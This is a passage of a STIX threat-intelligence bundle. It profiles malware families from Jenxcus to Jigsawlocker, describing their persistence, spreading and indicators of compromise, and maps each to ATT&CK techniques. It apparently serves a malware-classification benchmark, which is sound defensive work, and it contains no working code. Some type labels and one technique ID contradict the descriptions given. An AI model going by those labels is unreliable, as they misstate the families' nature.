      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--941554dc-9818-5d8f-b36a-18651af6d978",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Jeefo exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--dd5b80f3-8cfd-515c-b7f1-0ce65b505d80",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--941554dc-9818-5d8f-b36a-18651af6d978",
      "target_ref": "attack-pattern--36cc183d-43e0-5df7-9059-7bc6b49000e5",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Jeefo exhibits technique T1083 (File and Directory Discovery)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--5d074f39-3100-5202-b842-e0f00812b8b0",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--941554dc-9818-5d8f-b36a-18651af6d978",
      "target_ref": "attack-pattern--07f2a5f1-0132-5a8d-8dbb-fae899993f56",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Jeefo exhibits technique T1562.001 (Impair Defenses: Disable or Modify Tools)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--70e00878-97ba-5d3f-9876-bf5230c132ef",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--941554dc-9818-5d8f-b36a-18651af6d978",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Jeefo exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--e455fd4f-2082-5e0b-a0ed-4fb157da4634",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Jenxcus",
      "description": "Worm:VBS/Jenxcus (often referred to as Houdini or Dinihu) is a prolific, script-based worm and Remote Access Trojan (RAT) written entirely in Visual Basic Script (VBScript). It is notorious for its ability to rapidly propagate across networks via removable media (USB drives) and for providing attackers with a highly persistent, fileless-style backdoor that relies almost entirely on built-in Windows administrative tools (Living off the Land).<br><br><b>Understanding Jenxcus (VBScript Worms)</b><br>To an end-user, a Jenxcus infection often starts when they plug in a USB drive and click what appears to be a folder, but is actually a malicious shortcut (`.lnk` file). For a SOC analyst, Jenxcus is a frustrating threat because it is highly evasive; the entire malware payload is often just a few lines of obfuscated text running inside the legitimate `wscript.exe` process, making it difficult for traditional, file-based AV to detect.<br><br><b>Execution and Spreading Mechanics</b><br>Jenxcus typically arrives via spear-phishing or infected USB drives (`T1091`). When executed (`T1059.005`), the VBScript heavily obfuscates its core logic to evade static analysis (`T1027`). It establishes persistence by dropping a copy of the VBS script into the `%AppData%` or `Startup` folder and creating a Registry Run key pointing to it (`T1547.001`). For propagation, it constantly monitors the system for new removable drives. When a USB is inserted, it copies its VBScript to the drive, hides all legitimate folders on the drive (`T1564.001`), and creates malicious Windows Shortcut (`.lnk`) files (`T1102.001`) with the same names and icons as the hidden folders. When the next victim clicks the 'folder', the shortcut executes the VBScript and then opens the hidden folder, maintaining the deception. Once active, the script beacons out to a C2 server (often using dynamic DNS services) allowing the attacker to download and execute arbitrary files, run shell commands, or update the worm itself (`T1105`).<br><br><b>Indicators of Compromise & Impact</b><br>The impact is a persistent backdoor and the rapid spread of infection across air-gapped or segmented networks via USBs. Host-based IoCs include EDR alerts for `wscript.exe` or `cscript.exe` executing scripts from the `%AppData%` or `%Temp%` directories, or `wscript.exe` making outbound network connections. The presence of hidden folders and corresponding `.lnk` files on USB drives is a definitive indicator. (Observed samples in benchmark: 4)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Jenxcus",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/jenxcus"
        }
      ],
      "labels": [
        "trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--8a0c6d81-fac3-5410-b964-c2a7901fdf6b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--e455fd4f-2082-5e0b-a0ed-4fb157da4634",
      "target_ref": "attack-pattern--4a2de5a3-e5b3-59c0-9f8f-c714683837e2",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Jenxcus exhibits technique T1059.005 (Command and Scripting Interpreter: Visual Basic)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--d292b87c-f474-5d9c-826a-20cb22246a8d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--e455fd4f-2082-5e0b-a0ed-4fb157da4634",
      "target_ref": "attack-pattern--6ba42f78-216a-57bb-8f7c-b5271692217a",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Jenxcus exhibits technique T1091 (Replication Through Removable Media (USB Spreading))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--e2e10ccf-963e-5c27-acd0-16094871cc94",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--e455fd4f-2082-5e0b-a0ed-4fb157da4634",
      "target_ref": "attack-pattern--cc0b5894-87c7-5a25-90e8-09cb9907d5d4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Jenxcus exhibits technique T1564.001 (Hide Artifacts: Hidden Files and Directories (Hiding USB folders))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--9b5dbc1f-6fa2-5c04-b6b3-c5934c4a2f1c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--e455fd4f-2082-5e0b-a0ed-4fb157da4634",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Jenxcus exhibits technique T1547.001 (Boot or Logon Autostart Execution)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--3e7d756a-2eab-5c4a-8577-4b17024b159c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Jetmedia",
      "description": "Adware:Win32/Jetmedia is a highly persistent adware framework designed to monetize user web traffic by injecting intrusive advertisements, altering browser search configurations, and tracking user behavior across the internet (`T1189`). It acts as a local proxy or rogue browser extension, significantly degrading the user experience and compromising web privacy.<br><br><b>Understanding Jetmedia</b><br>To an end-user, Jetmedia ruins the browsing experience. Legitimate websites are overlaid with 'Sponsored Links', click-throughs are redirected to affiliate marketing sites, and the default search engine is forcibly changed. For a security operations center, Jetmedia is a risk because the adware networks it utilizes are notoriously poorly regulated and frequently serve as vectors for secondary malware infections (malvertising).<br><br><b>Execution and Persistence Mechanics</b><br>Jetmedia is primarily distributed via software bundling\u2014users unknowingly agree to install it when downloading 'free' media players, PDF converters, or pirated software. Upon execution, it establishes persistence via a Scheduled Task (`T1053.005`) to ensure its updater service runs continuously. It then modifies browser settings, often installing extensions and altering the `ExtensionInstallForcelist` in the Windows Registry to prevent the user from easily disabling the adware (`T1562.001`). It intercepts HTTP traffic to inject its own advertising HTML directly into the web pages the user visits.<br><br><b>Indicators of Compromise & Impact</b><br>The primary impact is the unauthorized monetization of user data and a significant decrease in productivity. Host-based IoCs include the presence of unexpected browser extensions, unauthorized changes to the `HKLM\\Software\\Policies\\Google\\Chrome` registry paths, and the presence of suspicious, persistently running updaters in `%LocalAppData%` or `%ProgramFiles(x86)%`. Network IoCs include a massive volume of background HTTP/HTTPS requests to known adware domains (e.g., serving the injected banners). (Observed samples in benchmark: 2)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Jetmedia",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/jetmedia"
        }
      ],
      "labels": [
        "advanced_threat",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--b3cb48f0-9ec6-5f31-b48c-e640044ba492",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--3e7d756a-2eab-5c4a-8577-4b17024b159c",
      "target_ref": "attack-pattern--4054acd0-ca17-521d-b3cb-772b441a9f32",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Jetmedia exhibits technique T1189 (Drive-by Compromise (Initial distribution via deceptive software bundles))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--804a34d3-aa61-54c9-b370-5712f5caf488",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--3e7d756a-2eab-5c4a-8577-4b17024b159c",
      "target_ref": "attack-pattern--07f2a5f1-0132-5a8d-8dbb-fae899993f56",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Jetmedia exhibits technique T1562.001 (Impair Defenses: Disable or Modify Tools (Modifying browser policies to prevent adware removal))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--80a0b158-59e3-5ba5-a1a7-d6a5726e4cde",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--3e7d756a-2eab-5c4a-8577-4b17024b159c",
      "target_ref": "attack-pattern--9f854ac3-c197-5dbe-b964-50f8eeda8581",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Jetmedia exhibits technique T1053.005 (Scheduled Task/Job: Scheduled Task (Establishing persistent adware updaters))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--ccc984c7-2f75-5aa4-9d5f-0edd04ceca22",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Jevafus",
      "description": "<h3>Executive Summary</h3>\nJevafus is a malicious Trojan designed to covertly infiltrate Windows systems, establish persistence, and act as a reliable downloader for remote threat actors. It is frequently utilized in the initial stages of a cyberattack to gather system intelligence and facilitate the automated deployment of secondary, highly destructive malware payloads, such as enterprise ransomware or banking trojans.\n\n<h3>Infection Vector and Technical Capabilities</h3>\nJevafus is predominantly distributed through socially engineered spam campaigns containing malicious attachments (often weaponized PDFs or Office documents utilizing macro exploits) or via compromised software installers downloaded from untrustworthy web portals.\n\nUpon successful execution, Jevafus operates with a focus on stealth and payload delivery:\n<ul>\n<li><strong>System Reconnaissance:</strong> The trojan immediately collects detailed system information, including the OS version, installed software, Active Directory domain membership, and active antivirus solutions. This fingerprint is transmitted to a command-and-control (C2) server.</li>\n<li><strong>Persistence:</strong> Jevafus ensures it survives system reboots by modifying the Windows Registry (e.g., adding entries to the `Run` or `RunOnce` keys) or by creating hidden Scheduled Tasks that execute the malware payload under high privileges.</li>\n<li><strong>Payload Delivery:</strong> Acting as a downloader, Jevafus receives instructions from the C2 server to silently download and execute secondary malware. This provides the attacker with a flexible platform to escalate the attack based on the value of the compromised host.</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nA Jevafus infection represents a significant breach of the endpoint perimeter. Because it provides remote attackers with the ability to execute arbitrary code, a single compromised machine can rapidly be utilized to pivot laterally and compromise the entire corporate network.\n\n<h3>Remediation and Eradication</h3>\n<ul>\n<li><strong>Endpoint Detection and Response (EDR):</strong> Configure EDR solutions to monitor for anomalous registry modifications and unauthorized outbound network connections to unknown IP addresses.</li>\n<li><strong>Network Isolation and Sweeps:</strong> Immediately isolate the infected endpoint from the LAN. Conduct a thorough forensic sweep to identify not only the Jevafus executable but also any secondary payloads it may have successfully deployed.</li>\n<li><strong>Credential Reset:</strong> Because Jevafus frequently facilitates the deployment of info-stealers, all user credentials associated with the compromised endpoint must be treated as compromised and immediately reset.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan.Jevafus",
        "Downloader.Jevafus",
        "Win32/Jevafus"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Jevafus",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/jevafus"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--79beb502-b5d9-5fad-a67a-277ad18c0b5c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ccc984c7-2f75-5aa4-9d5f-0edd04ceca22",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Jevafus exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--d07a645d-42c7-50e1-95b5-06c881e25303",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ccc984c7-2f75-5aa4-9d5f-0edd04ceca22",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Jevafus exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--938fd8f3-f4f8-5966-91cc-b6640a2ffeaf",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ccc984c7-2f75-5aa4-9d5f-0edd04ceca22",
      "target_ref": "attack-pattern--f610f9c7-f371-50da-a04d-35ef5c472e9a",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Jevafus exhibits technique T1059 (Command and Scripting Interpreter)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--dc418487-49b5-5db7-b928-402b1790f2da",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Jhee",
      "description": "Trojan:Win32/Jhee is a persistent, stealthy trojan designed to breach endpoint defenses and securely deliver secondary, high-severity payloads like ransomware, banking trojans, and botnet agents, or act as a persistent backdoor.<br><br><b>Understanding Jhee</b><br>To an end-user, a Jhee infection is typically invisible until the devastating secondary payload executes. For threat intelligence analysts, Jhee is a critical staging mechanism. It functions as an 'Initial Access Broker' tool. Its primary objective is to securely bypass endpoint defenses, profile the infected machine to ensure it is not a sandbox, and reach out to a Command-and-Control (C2) server to pull down the final, destructive payload.<br><br><b>Execution and Evasion Strategies</b><br>Jhee is commonly distributed via massive malspam campaigns containing weaponized attachments (like ZIP files or Office macros) or through exploit kits. Upon execution, it utilizes heavy packing and dynamic API resolution to evade static antivirus signatures. It drops a randomized executable into the `%Temp%` or `%AppData%` directory. It establishes persistence by creating a hidden scheduled task or modifying the Registry Run keys. Jhee frequently injects its downloading routine into legitimate system processes (like `explorer.exe` or `svchost.exe`) to mask its outbound network traffic.<br><br><b>Indicators of Compromise (IoCs)</b><br>Threat hunters should investigate EDR alerts related to 'Suspicious Process Injection' or 'Anomalous Child Process Spawning'. Network logs will often reveal Jhee reaching out to compromised domains using encrypted HTTPS traffic. The presence of unexpected, hidden scheduled tasks designed to execute randomly named binaries in the user's profile is a strong IoC. Memory analysis is necessary to extract the injected downloader modules and determine what payloads were requested. (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Jhee",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/jhee"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--32023826-71b2-5899-87fc-6c23464e054a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--dc418487-49b5-5db7-b928-402b1790f2da",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Jhee exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--eb889e4c-0d38-50f6-b36f-ca3cc688db01",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--dc418487-49b5-5db7-b928-402b1790f2da",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Jhee exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--22131293-9a63-5688-ac37-b95d5460be09",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--dc418487-49b5-5db7-b928-402b1790f2da",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Jhee exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--e986aabc-3e9e-5868-a1b0-95256687e9c6",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--dc418487-49b5-5db7-b928-402b1790f2da",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Jhee exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--1eb73266-6532-589a-b597-b418e2651fe5",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--dc418487-49b5-5db7-b928-402b1790f2da",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Jhee exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--bd98232c-2039-535a-a664-2c569bbcffb2",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Jigsaw",
      "description": "Jigsaw (classified across cybersecurity organizations as Ransom:Win32/Jigsaw, Trojan-Ransom.Win32.Jigsaw, and BitcoinBlackmailer) is a notorious and psychologically manipulative crypto-ransomware family first discovered in March 2016. Developed using the Microsoft .NET framework, Jigsaw is infamous for displaying the iconic face of 'Billy the Puppet' from the 'Saw' horror franchise alongside a ticking countdown clock. Unlike standard ransomware that merely encrypts files and passively awaits payment, Jigsaw employs an active extortion tactic: it systematically deletes an increasing quantity of encrypted files every 60 minutes that ransom payment in Bitcoin is delayed. If the victim terminates the malware process, reboots the computer, or attempts to modify the ransomware binary, Jigsaw punishes the user by deleting 1,000 files immediately upon system restart. Jigsaw encrypts files using AES-128 encryption, appending extensions such as `.fun`, `.gws`, `.kkk`, or `.btc`, and sets up persistent autostart entries under `HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run` to ensure the deletion countdown resumes upon every boot. (Observed samples in benchmark: 16)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Ransom:Win32/Jigsaw",
        "Trojan-Ransom.Win32.Jigsaw",
        "Win32/Jigsaw",
        "BitcoinBlackmailer",
        "Jigsaw Ransomware",
        "Saw Ransomware"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Jigsaw",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/jigsaw"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--ebdbe901-48a0-54af-84de-2c724211f40b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--bd98232c-2039-535a-a664-2c569bbcffb2",
      "target_ref": "attack-pattern--39fc3e3b-4925-51bd-9e25-b333ad9f6a10",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Jigsaw exhibits technique T1486 (Data Encrypted for Impact)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--cd4386ba-395b-5566-8f33-e9655d2707ec",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--bd98232c-2039-535a-a664-2c569bbcffb2",
      "target_ref": "attack-pattern--a1097f7e-2aee-5bd4-ba08-a98048ff4e08",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Jigsaw exhibits technique T1485 (Data Destruction)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--54389892-e078-52ec-a1e4-a49361cef5fa",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--bd98232c-2039-535a-a664-2c569bbcffb2",
      "target_ref": "attack-pattern--c79f8b9c-f6e3-550e-85cc-41fb2ac75634",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Jigsaw exhibits technique T1491 (Defacement (UI Manipulation))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--fb89d6bd-2658-5ea5-a53e-0d7d6f16cb84",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--bd98232c-2039-535a-a664-2c569bbcffb2",
      "target_ref": "attack-pattern--f2075d7b-16c2-58d2-9cc6-630d2c2ccc49",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Jigsaw exhibits technique T1490 (Inhibit System Recovery)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--04888f92-bf86-5c14-a7b2-84c22554bafa",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--bd98232c-2039-535a-a664-2c569bbcffb2",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Jigsaw exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--a7efeeab-aea3-52ba-beab-5eeb47ffb899",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Jigsawlocker",
      "description": "Ransom:Win32/Jigsawlocker (commonly known as Jigsaw) is an exceptionally cruel and psychologically manipulative crypto-ransomware family. Unlike standard ransomware that simply encrypts files and waits for payment, Jigsaw employs a sadistic countdown timer, threatening to permanently delete a batch of files every hour until the ransom is paid, often using imagery of the 'Billy the Puppet' character from the *Saw* horror film franchise to induce panic.<br><br><b>Understanding Jigsaw (Extortion/Time-Bomb Ransomware)</b><br>To an end-user, Jigsaw is terrifying. Upon execution, it displays a full-screen, unclosable window with a countdown timer, explicitly stating that if the computer is rebooted or if the user attempts to remove the malware, a massive penalty (e.g., the immediate deletion of 1,000 files) will be enforced. For an incident responder, Jigsaw requires a highly delicate approach; standard remediation tactics (like a hard reboot) will actually trigger the malware's destructive mechanisms.<br><br><b>Execution and Extortion Mechanics</b><br>Jigsaw is typically distributed via spam emails or adware bundles (`T1566.001`). Upon execution, it encrypts user files (often using AES) and appends extensions like `.fun`, `.btc`, or `.jigsaw` (`T1486`). It establishes persistence via the `HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run` registry key (`T1547.001`). The defining characteristic is its extortion mechanism (`T1485` - Data Destruction). The malware monitors system uptime and its own process state. It deletes one file after the first hour, and exponentially increases the number of deleted files every subsequent hour. If the user terminates the Jigsaw process (e.g., via Task Manager) or reboots the machine, the malware detects this upon restart and punishes the user by deleting a large swath of files immediately.<br><br><b>Indicators of Compromise & Impact</b><br>The impact is severe data loss and intense psychological pressure. Host-based IoCs include files renamed with Jigsaw-specific extensions, the presence of the full-screen 'Saw' ransom note, and the active deletion of files in user directories. EDR alerts will show a specific executable (often named `drpbx.exe` or `firefox.exe` to blend in) rapidly performing file deletion APIs. (Observed samples in benchmark: 4)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Jigsawlocker",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/jigsawlocker"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--a32a038b-35a6-5337-84c5-2c409168f1d6",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--a7efeeab-aea3-52ba-beab-5eeb47ffb899",
      "target_ref": "attack-pattern--39fc3e3b-4925-51bd-9e25-b333ad9f6a10",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Jigsawlocker exhibits technique T1486 (Data Encrypted for Impact)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--e2b43a4b-d562-51d9-9bb0-ef8a3d054749",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--a7efeeab-aea3-52ba-beab-5eeb47ffb899",
      "target_ref": "attack-pattern--a1097f7e-2aee-5bd4-ba08-a98048ff4e08",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Jigsawlocker exhibits technique T1485 (Data Destruction (Deleting files on a timer/reboot))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--b1ed1bfe-551d-56a4-9aec-28c9730a597f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--a7efeeab-aea3-52ba-beab-5eeb47ffb899",
      "target_ref": "attack-pattern--781c5255-115d-5757-8797-90b90215b35c",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Jigsawlocker exhibits technique T1491.001 (Defacement: Internal Defacement (Full-screen ransom note))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--7fcc4453-6d67-5a41-b954-5ad72fd7b24b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--a7efeeab-aea3-52ba-beab-5eeb47ffb899",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Jigsawlocker exhibits technique T1547.001 (Boot or Logon Autostart Execution)."
    },
    {
